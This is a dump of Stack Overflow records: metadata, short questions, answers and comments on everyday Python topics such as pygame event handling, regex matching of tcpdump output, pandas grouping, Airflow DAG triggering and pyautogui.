has body: I'm not sure how exactly your buttons should behave, but I can tell you how to fix the event handling and logic in your capitalist function. Your main problem is that you use the event loop to increase the amount, whereas you rather want to use pygame.mouse.get_pressed in the while loop in this case to see which mouse buttons are currently pressed. Then check if the mouse_pos collides with one of the predefined buttons (pygame.Rects) and run the desired code. The drawing code should also be separated from the event handling and the game logic. I've got a complete, working example here with some additional side notes (as I said I'm not sure how the buttons should behave, so you have to adjust them as you want): import pygame, sys pygame.init() WHITE = (255,255,255) BLACK = (0,0,0) GREEN = pygame.Color('green') DISPLAYSURF = pygame.display.set_mode((460, 720)) clock = pygame.time.Clock() cash = 30 amount = 0 barlength = 102 storeBoard = pygame.Surface((102, 40)) storeBoard.fill((100, 100, 250)) # Side note: Define the fonts once here. Font1 = pygame.font.SysFont('monaco', 24) Font2 = pygame.font.SysFont('monaco', 40) def buyDraw(amount, minxbuy, minybuy): buySurface = Font1.render('{0}'.format(amount), True, BLACK) buyRect = buySurface.get_rect() buyRect.midtop = (75, minybuy) DISPLAYSURF.blit(buySurface, buyRect) def cashDraw(cash): cashSurface = Font2.render(' ${0}'.format(cash), True, GREEN) cashRect = cashSurface.get_rect() cashRect.midtop = (420, 10) DISPLAYSURF.blit(cashSurface, cashRect) # amount of item, cost to buy, time taken to complete action, money per run def capitalist(amount, cost, timez, gain, minxbuy, maxxbuy, minybuy, maxybuy, minxgain, maxxgain, minygain, maxygain, cash): pygame.display.set_caption('capitalist loop') # Define the buttons here. buy_button = pygame.Rect(minxbuy, minybuy, maxxbuy, maxybuy) gain_button = pygame.Rect(minxgain, minygain, maxxgain, maxygain) # Coefficient to calculate the width of the rect for a given time. coefficient = …
type: Answer
answers question: http://stackoverflow.com/q/48756700
has comment: http://stackoverflow.com/comment/84554363
has comment: http://stackoverflow.com/comment/84553995

http://stackoverflow.com/comment/84452657
comment on: http://stackoverflow.com/q/48722703
has text: `print(soup, deaths_list)` to see your error.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/48798776
type: UnansweredQuestion
has body: I have following line from TCP dump output 09:42:57.346128 IP 192.16.0.1.60800 &gt; 184.84.166.118.49331: Flags [.], seq 62929:65665, ack 0, win 2715, options [nop,nop,TS val 2855068190 ecr 1673141977], length 2736 I have following python code to derive Flag info from it. sentence = "09:42:57.346128 IP 192.16.0.1.60800 &gt; 184.84.166.118.49331: Flags [.], seq 62929:65665, ack 0, win 2715, options [nop,nop,TS val 2855068190 ecr 1673141977], length 2736" pattern=re.compile(r'Flags\s\[.*\]') matches=pattern.finditer(sentence ) for match in matches: print(match) and output is &lt;_sre.SRE_Match object; span=(209, 305), match='Flags [.S], seq 62929:65665, ack 0, win 2715, opt&gt; You can see its taking things even after "Flags [.S]" which i do not want. i think my regular expression "r'Flags\s[.*]'"means Flags: Start searching for string that starts with "Flags" \s: then a space [: Followed by a "[" bracket sign .: Next character can be anything *: next can be zero or one character [: next shall be "]" but why its overshooting and giving additional data? if i make regular expression like "r'Flags\s[.*?]'" its returning correct result. Why so?
has title: Generate regular expression for my tcpdump output
has answer: http://stackoverflow.com/a/48798804
type: Question
score: 0
answer count: 3
tagged with: python
tagged with: regex
has answer: http://stackoverflow.com/a/48799003
has answer: http://stackoverflow.com/a/48799809

http://stackoverflow.com/a/48777484
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/48776095
has body: There is another way to fetch the interface names using below snippet. with pyroute2.IPDB() as ipdb: print(" ".join(ipdb.by_name.keys()))
downvote count: 0
type: Answer

amazon-elastic-beanstalk
tag name: amazon-elastic-beanstalk
type: Tag
tags question: http://stackoverflow.com/q/48696995
tags question: http://stackoverflow.com/q/48770235

http://stackoverflow.com/q/48789007
favorite count: 0
has body: This is a continuation of this question. is there away to output selected columns names from SelectFromModel method? The output of this feature_name = df.columns[feature_idx] gives me many index names. my question is, how can I only display the first 3 letters and show the total of each. For example My index output from the above is Index(['banana good', 'banana bad', 'apple good', 'apple bad']) I want it to display ban - 2 app - 2
tagged with: python
has answer: http://stackoverflow.com/a/48789088
type: AnsweredQuestion
downvote count: 2
upvote count: 1
accepted answer: http://stackoverflow.com/a/48789088
has title: How to filter the index by n letters and sum them together
type: Question
score: -1
linked to: http://stackoverflow.com/q/41088576
has comment: http://stackoverflow.com/comment/84579823
tagged with: pandas
answer count: 1
has comment: http://stackoverflow.com/comment/84579734

http://stackoverflow.com/comment/84293524
has text: What is your question?
comment on: http://stackoverflow.com/q/48648011
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/77407481
has body: If your number of random samples is much smaller than the size of your cartesian product, a fast solution is just to maintain n-tuple of indexes which you have already returned. This has extremely low memory usage (grows linearly in terms of the number of elements to return). It might become slow if n grows very large, but for less than 1,000 elements, it runs in &lt;1 ms on my system. def random_cartesian_product(*lists, seed: Optional[int] = None, n: int): rnd = random.Random(seed) cartesian_idxs: Set[Tuple[int, ...]] = set() list_lens: List[int] = [len(l) for l in lists] max_count: int = 1 for l_len in list_lens: max_count *= l_len if max_count &lt; n: raise ValueError(f'At most {max_count} cartesian product elements can be created.') while len(cartesian_idxs) &lt; n: rnd_idx: Tuple[int, ...] = tuple( rnd.randint(0, l_len - 1) for l_len in list_lens ) if rnd_idx not in cartesian_idxs: cartesian_idxs.add(rnd_idx) elem = [] for l_idx, l in zip(rnd_idx, lists): elem.append(l[l_idx]) yield elem This can be used iteratively or all-at-once: list(random_sample_cartesian_product(['a', 'b', 'c'], [1,2], ['x'], n=6, seed=None)) [['b', 1, 'x'], ['a', 1, 'x'], ['a', 2, 'x'], ['c', 1, 'x'], ['c', 2, 'x'], ['b', 2, 'x']]
type: Answer
answers question: http://stackoverflow.com/q/48686767
score: 0

http://stackoverflow.com/a/48776733
accepted answer of: http://stackoverflow.com/q/48776665
type: Answer
has comment: http://stackoverflow.com/comment/84555310
upvote count: 2
has comment: http://stackoverflow.com/comment/84555343
has body: Use all over axises other than the first axis to create the boolean array for indexing: a[~(a == 0).all(axis=(1,2,3))] #array([[[[0, 1, 2], # [1, 1, 1], # [1, 1, 1]], # [[1, 1, 1], # [1, 2, 2], # [1, 1, 1]]], # [[[0, 1, 2], # [1, 1, 1], # [1, 1, 1]], # [[1, 1, 1], # [1, 2, 2], # [1, 1, 1]]], # [[[0, 1, 2], # [1, 1, 1], # [1, 1, 1]], # [[1, 1, 1], # [1, 2, 2], # [1, 1, 1]]]])
score: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48776665

http://stackoverflow.com/a/48790108
type: Answer
score: 1
upvote count: 1
has body: I'm not sure about the first problem, but to solve the second one, you can override method parse_start_url of CrawlSpider class.
downvote count: 0
answers question: http://stackoverflow.com/q/48789173

http://stackoverflow.com/comment/84536965
has text: Could you provide more details on the answer?
type: Comment
comment on: http://stackoverflow.com/a/48765628
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84336856
comment on: http://stackoverflow.com/q/48669326
type: Comment
has text: Instead of parsing the mostly stable file over and over agin, you could consider creating and parsing a `diff` file instead.
score: 1
type: QuestionComment

http://stackoverflow.com/a/48696442
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48696397
type: Answer
score: 1
upvote count: 1
has body: You can use map: l = ['1', '2', '3', '4', '5', '6'] new_l = list(map(int, l)) # or just map(int, l) in Python 2 will return [1, 2, 3, 4, 5, 6] This can throw an error if there are strings that cannot be converted to numbers though: l = ['1', '2', '3', '4', '5', 'lkj'] list(map(int, l)) ValueError: invalid literal for int() with base 10: 'lkj' So make sure your input is valid and/or wrap it into a try/except.
answers question: http://stackoverflow.com/q/48696397

http://stackoverflow.com/q/48714608
score: 0
has comment: http://stackoverflow.com/comment/84429298
answer count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84522975
tagged with: tensorflow
type: Question
has title: TensorFlow Estimator unable to train second set of fully connected layers
has body: I have an Estimator which trains a CNN with one particular loss function. Once that training is completed, I would like to have the same Estimator, train a new set of fully connected layers using the already trained convolutional layers, and a new loss function. These must be done one after another. When attempting to start training the second set of fully connected layers I encounter the following error: NotFoundError (see above for traceback): Key OptimizeLoss/inception_module_1_path_1/batch_normalization/beta/Adam not found in checkpoint [[Node: save/RestoreV2_22 = RestoreV2[dtypes=[DT_FLOAT], _device="/job:localhost/replica:0/task:0/device:CPU:0"](_arg_save/Const_0_0, save/RestoreV2_22/tensor_names, save/RestoreV2_22/shape_and_slices)]] [[Node: save/RestoreV2_21/_1 = _Recv[client_terminated=false, recv_device="/job:localhost/replica:0/task:0/device:GPU:0", send_device="/job:localhost/replica:0/task:0/device:CPU:0", send_device_incarnation=1, tensor_name="edge_280_save/RestoreV2_21", tensor_type=DT_FLOAT, _device="/job:localhost/replica:0/task:0/device:GPU:0"]()]] It seems that it needs to have already set up the second loss function, but I thought that was done when the model_fn was run. The Estimator is being trained with two consecutive Estimator.train method calls.
linked to: http://stackoverflow.com/q/48067677
has comment: http://stackoverflow.com/comment/84429450
tagged with: tensorflow-estimator

http://stackoverflow.com/comment/84408404
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48704596
has text: Eliwell avd12600, but I'd like to have a device independent solution. Just to skip illegal addreses and read from the others. And I'm also confused because synchronous version works without any problem.
score: 0

http://stackoverflow.com/comment/84437199
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48717523
has text: Stdout and stderr aren't lists - so there's no need to iterate over them. They're likely to just be strings or bytes. If you need to iterate you'll need to split as appropriate.

http://stackoverflow.com/q/48656460
type: UnansweredQuestion
tagged with: file
has comment: http://stackoverflow.com/comment/84310729
has comment: http://stackoverflow.com/comment/130280915
downvote count: 3
has comment: http://stackoverflow.com/comment/84310858
type: Question
tagged with: inode
has answer: http://stackoverflow.com/a/48656483
tagged with: linux
answer count: 1
tagged with: python
tagged with: directory
has title: How to find the inode of all files in Linux with Python?
favorite count: 0
score: -1
has body: #!/usr/bin/python import os, sys # Open a file fd = os.open( "foo.txt", os.O_RDWR|os.O_CREAT ) # Now get the touple info = os.fstat(fd) print "File Info :", info # Now get uid of the file print "UID of the file :%d" % info.st_uid # Now get gid of the file print "GID of the file :%d" % info.st_gid # Close opened file os.close( fd)
has comment: http://stackoverflow.com/comment/84311055
upvote count: 2

http://stackoverflow.com/a/48673121
downvote count: 0
score: 1
has body: Borrowing sample data set from @MattR's answer: In [114]: df3.query("@inter.left &lt;= Dates &lt; @inter.right") Out[114]: Dates 48 2017-12-05 16:36:17 49 2017-12-05 17:36:17 50 2017-12-05 18:36:17 51 2017-12-05 19:36:17 52 2017-12-05 20:36:17 53 2017-12-05 21:36:17 Timings for ~100K rows DF: In [109]: df = pd.concat([df3]*1000, ignore_index=True) In [110]: df.shape Out[110]: (102000, 1) In [111]: %timeit df.query("@inter.left &lt;= Dates &lt; @inter.right") 9.1 ms ± 20.2 µs per loop (mean ± std. dev. of 7 runs, 100 loops each) In [112]: %timeit df.loc[df['Dates'].apply(lambda x: x in inter) == True] 1.54 s ± 48.8 ms per loop (mean ± std. dev. of 7 runs, 1 loop each) In [113]: %timeit df[df['Dates'].between(inter.left, inter.right, inclusive=True)] 3.96 ms ± 43.7 µs per loop (mean ± std. dev. of 7 runs, 100 loops each)
answers question: http://stackoverflow.com/q/48672540
upvote count: 1
type: Answer

http://stackoverflow.com/comment/84477740
type: Comment
has text: Like Ian said, my guess is wrong as the implicit wait statement positioning doesn't matter in this case. It looks like we need more information to help.
comment on: http://stackoverflow.com/a/48736513
score: 0
type: AnswerComment

lemmatization
type: Tag
tag name: lemmatization
tags question: http://stackoverflow.com/q/48754078
tags question: http://stackoverflow.com/q/48671265

http://stackoverflow.com/a/48659132
answers question: http://stackoverflow.com/q/48659036
has comment: http://stackoverflow.com/comment/109699934
has comment: http://stackoverflow.com/comment/84319661
has comment: http://stackoverflow.com/comment/84316864
downvote count: 0
has comment: http://stackoverflow.com/comment/109762383
has comment: http://stackoverflow.com/comment/84319472
has body: You can treat the bytes class as an iterable, and you can access its elements as you would with a simple string like: read_bytes = b'\x01\x02\x03\x04\x05' read_bytes[2] # 3 read_bytes[0] # 1 So just use list indexing to access an element with a specific index. Update: In case you want to retrieve the element as a bytes object you can slice it from the sequence: read_bytes[2:3] # b'\x03' read_bytes[0:1] # b'\x01' A more verbose way is to get the element and cast it as bytes bytes([read_bytes[2]]) Note: you have to pass the value in an iterable otherwise bytes will return a sequence of null bytes with a length of the integer value it received.
score: 5
has comment: http://stackoverflow.com/comment/84318683
has comment: http://stackoverflow.com/comment/109747865
has comment: http://stackoverflow.com/comment/109660615
upvote count: 5
type: Answer

http://stackoverflow.com/a/48781306
answers question: http://stackoverflow.com/q/48780465
has comment: http://stackoverflow.com/comment/117109276
upvote count: 1
type: Answer
has body: #Cristian Benitez principal = float(input("total loan amount taken: ")) interest_rate = float(input("annual interest rate applied: ")) duration = int(input("loan duration in years: ")) def monthly_loan(principal,interest_rate,duration): n = duration*12 #total number of months r = interest_rate/(100*12) #interest per month monthly_payment = principal*((r*((r+1)**n))/(((r+1)**n)-1)) #formula for compound interest applied on mothly payments. return monthly_payment #remaining loan balance calculation def remaining_bal(principal,annual_interest_rate,duration,payments): r = annual_interest_rate/1200 # monthly interest rate m = r + 1 n = duration*12 #duration in months # remaining balance using compound interest formula remaining = principal*(((m**n)-(m**payments))/((m**n)-1)) return remaining monthly = monthly_loan(principal,interest_rate,duration) print("Loan amount: ",principal," Interest rate: ",interest_rate) print("Duration (Years): ",duration," Monthly payment: ",int(monthly))
downvote count: 0
score: 1

http://stackoverflow.com/q/48689317
has comment: http://stackoverflow.com/comment/84377478
linked to: http://stackoverflow.com/q/35181133
has comment: http://stackoverflow.com/comment/84376766
tagged with: django-2.0
has comment: http://stackoverflow.com/comment/84377523
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84378540
has comment: http://stackoverflow.com/comment/84377930
tagged with: django
tagged with: python
has title: AttributeError: type object 'BaseCommand' has no attribute 'option_list'
has body: Hello i am trying to create search app in My Django project using Haystack and Solr but i receive this error "AttributeError: type object 'BaseCommand' has no attribute 'option_list'" I am running this command : python manage.py rebuild_index I am using : Python 3.6.4 solr-4.10.4 haystack 2.4.0 Django 2.0 If the post isn't clear i am ready to explain it more See the error
tagged with: solr
has answer: http://stackoverflow.com/a/71474023
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/84377858
score: 0
has answer: http://stackoverflow.com/a/50482692

http://stackoverflow.com/a/48646937
upvote count: 1
has body: You have defined your function cupcake_flour to take an argument, but you are not providing one when you are calling cupcake_flour(). You probably want to pass the user input to the function and then print the amount of flour needed like so: def cupcake_flour(cookies): cu_flour = cookies * 100 / 120 print(str(cu_flour) + "cups of flour") def main(): num_cookies = int(input("How many cookies do you want to make? ")) cupcake_flour(num_cookies) main() Note a few minor changes: int(input("How many cookies do you want to make? ")) since the input is supposed to be interpreted as a number (and used as such in the calculation) Moved the user input into the main, as it makes more sense to only ask for it when main() is called str(cu_flour) as it needs to be a string
has comment: http://stackoverflow.com/comment/84291449
answers question: http://stackoverflow.com/q/48646779
has comment: http://stackoverflow.com/comment/84291530
downvote count: 0
has comment: http://stackoverflow.com/comment/84291463
type: Answer
score: 1

http://stackoverflow.com/a/48742351
has body: You need to activate the virtual environment by callling the activation script: &lt;path to your environment&gt;\Scripts\activate.bat as indicated here. Then you will automatically use all the packages installed in this environment when calling your script. Your pycharm is probably set up to automatically use your virtual evnironment
has comment: http://stackoverflow.com/comment/116872150
has comment: http://stackoverflow.com/comment/116872477
downvote count: 1
has comment: http://stackoverflow.com/comment/116871759
has comment: http://stackoverflow.com/comment/116872634
upvote count: 9
has comment: http://stackoverflow.com/comment/116872288
has comment: http://stackoverflow.com/comment/116872547
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48742249
answers question: http://stackoverflow.com/q/48742249
type: Answer
has comment: http://stackoverflow.com/comment/116872464
score: 8

http://stackoverflow.com/q/48789802
has title: Change in instance variable not getting updated in tuple referring the same variable
type: Question
has answer: http://stackoverflow.com/a/48790048
tagged with: class
has answer: http://stackoverflow.com/a/48789909
accepted answer: http://stackoverflow.com/a/48789909
answer count: 3
has answer: http://stackoverflow.com/a/48789919
upvote count: 1
favorite count: 0
tagged with: tuples
has body: For this code when I change x to k using change() and then call self.co it does not return the updated value of self.x. How do I fix this kind of problem generally (this is a basic example)? class scope: tag=1 def __init__(self,h,x): self.h = h self.x = x self.co=(self.x,self.h) def change(self,k): self.x=k
tagged with: python
tagged with: instance-variables
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48789919
downvote count: 0
score: 1

http://stackoverflow.com/comment/84357985
score: 1
has text: try without `http://`
comment on: http://stackoverflow.com/q/48680405
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/84369270
type: Comment
has text: Are you certain that above code is the absolute minimum to produce the issue you're having, according to [mcve] guide?
score: 1
comment on: http://stackoverflow.com/q/48679369
type: QuestionComment

http://stackoverflow.com/comment/84488328
type: QuestionComment
comment on: http://stackoverflow.com/q/48740460
score: 0
has text: Possible duplicate of [In Tornado, how to do non-blocking file read/write?](https://stackoverflow.com/questions/38810868/in-tornado-how-to-do-non-blocking-file-read-write)
type: Comment

http://stackoverflow.com/comment/84430234
comment on: http://stackoverflow.com/q/48715202
score: 0
has text: using Google/Firefox Developer tool to analysis the requests for each actions in Siebel, then using Python Requests or other lib to simulate those requests to perform same actions.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/48682289
score: 5
upvote count: 5
downvote count: 0
has body: The problem is that the second legend is part of the first subplot, and the first subplot is completely behind the second. Ususally, you would add the legend to the second subplot instead of the first. import matplotlib.pyplot as plt import numpy as np x = np.linspace(0, 5, 1000) fig =plt.figure(figsize=(7,7)) ax =plt.subplot(211) ax.plot(x, np.sin(x), '-b', label='Sine') leg1 = ax.legend(loc= (0.8,0.85)) ax2 =plt.subplot(212) leg2 = ax2.legend(*ax.get_legend_handles_labels(), loc= (0.8,0.85)) plt.show()
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/48681796
accepted answer of: http://stackoverflow.com/q/48681796

http://stackoverflow.com/a/57563371
type: Answer
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/48764485
has body: Opencv reads image as BGR per default. You can read images with cv2: import cv2 cv2.imread(image_filepath)
downvote count: 0

http://stackoverflow.com/comment/84451238
has text: yeah, in normal mode (headed or how to call it) it just runs fine.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48723255
type: AnswerComment

http://stackoverflow.com/q/48767474
has comment: http://stackoverflow.com/comment/119941436
has title: build python for android 64bit
tagged with: c++
score: 2
answer count: 0
downvote count: 0
type: UnansweredQuestion
tagged with: android-ndk
type: Question
has body: My team is working on an Android app which has a major part written in Python and interpreted using python for android. We've currently building the Python compiler armv7 on a build machine running Ubuntu 12.04 32bit and NDK10e (or NDK8 until recently). We've been trying to compile it for armv8a (64 bit, mainly because Google just announced they will no longer allow new apps that don't pack 64 bit native libraries starting Aug 2019) without success for some time now. We're using an Ubuntu 16.04 64bit build machine and NDK10e standalone toolchain built for arm64 and gcc compiler (also tried with NDK16 and clang) and constantly get the following error: python$EXE ../../Tools/scripts/h2py.py -i '(u_long)' /usr/include/netinet/in.h /home/liveu/core/LuSmartAndroidCore/out/build/Python/arm/Python-2.7.2/python: 11: /home/liveu/core/LuSmartAndroidCore/out/build/Python/arm/Python-2.7.2/python: Syntax error: ")" unexpected Makefile:969: recipe for target 'Lib/plat-linux4' failed make: *** [Lib/plat-linux4] Error 2 I tried to find solutions on other Python implementations for mobile, but it seems that nobody tried/succeeded until now to build the interpreter for 64 bit. If someone has ideas on how to proceed further or what approach to pursue it will be very helpful. Thanks
upvote count: 2
tagged with: native
favorite count: 0
has comment: http://stackoverflow.com/comment/119941437
tagged with: android
tagged with: python

http://stackoverflow.com/q/48677390
favorite count: 0
tagged with: pandas
has body: I have code below where I'm creating dummy variables for the property_type field and year_built field. I then concat those dataframes together with my original dataframe. Next I drop the records where lender is NaN. Then finally I'm trying to sum the dummy variable columns I created for property_type and group by lender. However I seem to be getting all 0 when I sum which is incorrect. Is there something I'm doing wrong when I sum or create the dummy variables? I've included sample data below. Code: propType_dummies=pd.get_dummies(data_16['property_type']) yearBuilt_dummies=pd.get_dummies(data_16['year_built']) data_dummies=pd.concat([data_16,propType_dummies,yearBuilt_dummies],axis=1) # dropping records where lender is NaN NoLenderMissing=data_dummies[pd.notnull(data_dummies['lender'])] sum_propType=NoLenderMissing.groupby('lender')[list(propType_dummies)].sum() print(sum_propType.describe()) Out Put: RAPT RCON RCOO RDUP RMFD RMOB RMSC RQUA \ count 26142.0 26142.0 26142.0 26142.0 26142.0 26142.0 26142.0 26142.0 mean 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 std 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 min 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 25% 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 50% 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 75% 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 max 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 RSFR RTIM RTRI VRES count 26142.0 26142.0 26142.0 26142.0 mean 0.0 0.0 0.0 0.0 std 0.0 0.0 0.0 0.0 min 0.0 0.0 0.0 0.0 25% 0.0 0.0 0.0 0.0 50% 0.0 0.0 0.0 0.0 75% 0.0 0.0 0.0 0.0 max 0.0 0.0 0.0 0.0 Data: id property_address \ 695169 562691875 2652 LOBELIA RD ALPINE CA 91901 695252 562884083 NaN 695285 563031163 505 MISSOURI ST MARTINEZ CA 94553 695314 563191018 NaN 695320 563229683 123 ARLENE TER SAN RAFAEL CA 94903 695324 563261078 NaN 695326 563261259 NaN 695328 563273320 433 PINE RIDGE DR SAN RAMON CA 94582 695335 563275275 NaN 695336 563275426 2146 W 75TH ST LOS ANGELES CA 90047 695342 563354643 4040 HARLINGTON CIR EL DORADO HILLS CA 95762 695345 563355362 NaN 695346 563355442 14817 SHERMAN WAY 11 VAN NUY…
has title: summing dummy variables returns 0.0
tagged with: python
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84377144
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84357064
score: 1
has comment: http://stackoverflow.com/comment/84377861
has comment: http://stackoverflow.com/comment/84381248
has comment: http://stackoverflow.com/comment/84377471
has comment: http://stackoverflow.com/comment/84377068
downvote count: 0
has comment: http://stackoverflow.com/comment/84377381
has comment: http://stackoverflow.com/comment/84377902
has comment: http://stackoverflow.com/comment/84378037

http://stackoverflow.com/comment/84511253
type: Comment
has text: ah meant to have stop and not stop1, its right in code, wrong in here
comment on: http://stackoverflow.com/q/48755121
score: 0
type: QuestionComment

http://stackoverflow.com/a/48654620
downvote count: 0
score: 3
accepted answer of: http://stackoverflow.com/q/48654364
type: AcceptedAnswer
has body: On this line: data = list(image.getdata())) you have one ) too many. For some reason this doesn't work when running through the IDLE, however if you run this through a terminal it will start printing the values. I am guessing that PIL requires some function that is provided by the terminal and since the IDLE is not actually a terminal it cannot execute. You may also want to add a input() to the end of your script to prevent the window from closing.
answers question: http://stackoverflow.com/q/48654364
upvote count: 3
type: Answer

http://stackoverflow.com/a/48687337
downvote count: 0
upvote count: 5
answers question: http://stackoverflow.com/q/48687138
has body: With return lambda y: f( repeat_fn(f(y), n-1) ), you are calling repeat_fn with the f parameter being the result of f(y), i.e. not a function. Instead, you should pass just f and then apply the result of fn_repeat (a function) to f(y) (or vice versa). def repeat_fn(f, n): if n == 1: return f else: return lambda y: repeat_fn(f, n-1)(f(y)) k = repeat_fn(lambda x: 2*x, 5) print(k(2)) # 64
type: Answer
accepted answer of: http://stackoverflow.com/q/48687138
score: 5
type: AcceptedAnswer

http://stackoverflow.com/q/48647175
type: Question
tagged with: pyautogui
accepted answer: http://stackoverflow.com/a/48647234
has body: I started using pyautogui about an hour ago. Very nice that python supports GUI automation. I'm having one problem though. I use two screens and it appears that the wrapper is unable to move my cursor to my secondary monitor. For instance: &gt;&gt;&gt; import pyautogui &gt;&gt;&gt; pyautogui.moveTo(2759,769) &gt;&gt;&gt; pyautogui.position() (1919, 769) As you can see the cursor is still within my first screen. How do I force pyautogui to move to my second screen? Thanks
answer count: 1
has answer: http://stackoverflow.com/a/48647234
favorite count: 0
tagged with: python
score: 8
type: AnsweredQuestion
downvote count: 0
has title: Move mouse cursor to second monitor using pyautogui
upvote count: 8

http://stackoverflow.com/a/48678885
type: Answer
answers question: http://stackoverflow.com/q/48677430
has body: Use a memoization helper to put the values into a set, then if the value is in the set it will not add it and choose another random card until all 52 cards are in the list of choices. Thus dealing with any duplicates import random import itertools as it deck = list(it.product("♠♣♥♦", [str(x) for x in range(2, 11)] + list("JQKA"))) random.shuffle(deck) # print(len(deck)) # print(deck) memo = set() def deal(n): for i in range(n): k = random.choice(deck) if k not in memo: memo.add(k) else: deal(1) print(len(memo)) return memo print(deal(52)) you can do return sorted(memo) This will return a sorted list for easier visual confirmation
score: 0

http://stackoverflow.com/a/67254524
score: 14
downvote count: 0
has comment: http://stackoverflow.com/comment/120094086
has body: In Airflow2.0.x, the equivalent of @efbbrown's answer is: from airflow.operators.trigger_dagrun import TriggerDagRunOperator trigger_step = TriggerDagRunOperator( task_id="trigger_modelling", trigger_dag_id="Dummy_Modelling", conf={"message": "{{ dag_run.conf['message'] }}", "day":"{{ dag_run.conf['day'] }}"}, dag=dag ) The pull request is described here on GitHub. See the documentation for external-triggers and for trigger_dagrun. Here is a YouTube video on the topic that shows the correct imports.
type: AcceptedAnswer
upvote count: 14
type: Answer
has comment: http://stackoverflow.com/comment/118894033
accepted answer of: http://stackoverflow.com/q/48746561
has comment: http://stackoverflow.com/comment/122156392
answers question: http://stackoverflow.com/q/48746561
has comment: http://stackoverflow.com/comment/120078132

http://stackoverflow.com/comment/84530374
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48764799
has text: Are you sure "wbpc_data.csv" exists in the mentioned destination?
score: 0

http://stackoverflow.com/a/48750505
upvote count: 1
score: 1
downvote count: 0
has body: I really wanted to keep it pandas so this is what you can do using pandas only: values = df.apply(tuple, axis=1) counts = values.value_counts() result = values.drop_duplicates().map(counts) tuple(result) #(1, 3, 1)
type: Answer
answers question: http://stackoverflow.com/q/48749695

http://stackoverflow.com/comment/84468354
type: Comment
has text: No, I'm just trying to make simple list, where I can put random numbers and it would be saved by pickle, so I could close it safely and whenever I want to add numbers, I just simply add them to existing list that was created/saved before. I thought of a simple project, but it's going slowly due to this. Thank you
type: QuestionComment
comment on: http://stackoverflow.com/q/48734270
score: 0

http://stackoverflow.com/a/48686628
has body: Possibly your locales are not set up correctly. Try running the following command: sudo locale-gen and then run sudo dpkg --configure -a sudo apt-get install -f to fix the problems with your packages.
score: -1
downvote count: 1
answers question: http://stackoverflow.com/q/48686441
type: Answer
upvote count: 0

http://stackoverflow.com/q/48749889
has comment: http://stackoverflow.com/comment/84500253
has title: Is there a way to prefix all of the functions in a python module?
score: 0
has body: I have a module called foo.py from which another module bar.py loads the functions into its namespace. How can I prefix all of the functions in foo.py with the string foo_. An example: foo.py: def func1(): return "hello" def func2(): return "world" bar.py: from foo import * def do_something(): return foo_func1()
upvote count: 1
downvote count: 1
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48750148
linked to: http://stackoverflow.com/q/2386714
has comment: http://stackoverflow.com/comment/84500126
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84500130
tagged with: python
type: Question
duplicate of: http://stackoverflow.com/q/2386714

http://stackoverflow.com/a/49013498
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48709009
has comment: http://stackoverflow.com/comment/85147130
type: Answer
score: 11
accepted answer of: http://stackoverflow.com/q/48709009
upvote count: 11
has body: After struggling with this forever also, finally figured out that you either use command line or print screen button with the windows key to take the screenshot. Using the snipping tool does not work so try: image = pyautogui.screenshot() image.save('testing.png') Go and crop testing.png as small as possible so that locateOnScreen works faster. Then go back to the terminal and type: pyautogui.locateOnScreen('testing.png')
has comment: http://stackoverflow.com/comment/85352520

http://stackoverflow.com/comment/103998507
comment on: http://stackoverflow.com/q/48714407
score: 1
has text: I'm not sure how migration works but this question might work better on Cross Validated.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48676385
has body: As far as I know, there is no way to configure autodoc not to do this. There is, however, a simple workaround: Adding an empty docstring at the top of your module. """""" # &lt;- add this """ This code is a part of a proj repo. https://github.com/CurtLH/proj author: greenbean4me date: 2018-02-07 """ It's barely noticeable, and will trick autodoc into not displaying your module's real docstring.
downvote count: 1
answers question: http://stackoverflow.com/q/48676061
upvote count: 5
score: 4
accepted answer of: http://stackoverflow.com/q/48676061
has comment: http://stackoverflow.com/comment/134842703
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/84572384
has text: @cᴏʟᴅsᴘᴇᴇᴅ my answer solves the problem pre-edit. looking at the current question I cannot figure out why my answer has been accepted
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48784976
type: Comment

http://stackoverflow.com/a/48718289
has comment: http://stackoverflow.com/comment/84436239
answers question: http://stackoverflow.com/q/48717893
upvote count: 3
has comment: http://stackoverflow.com/comment/84435699
type: Answer
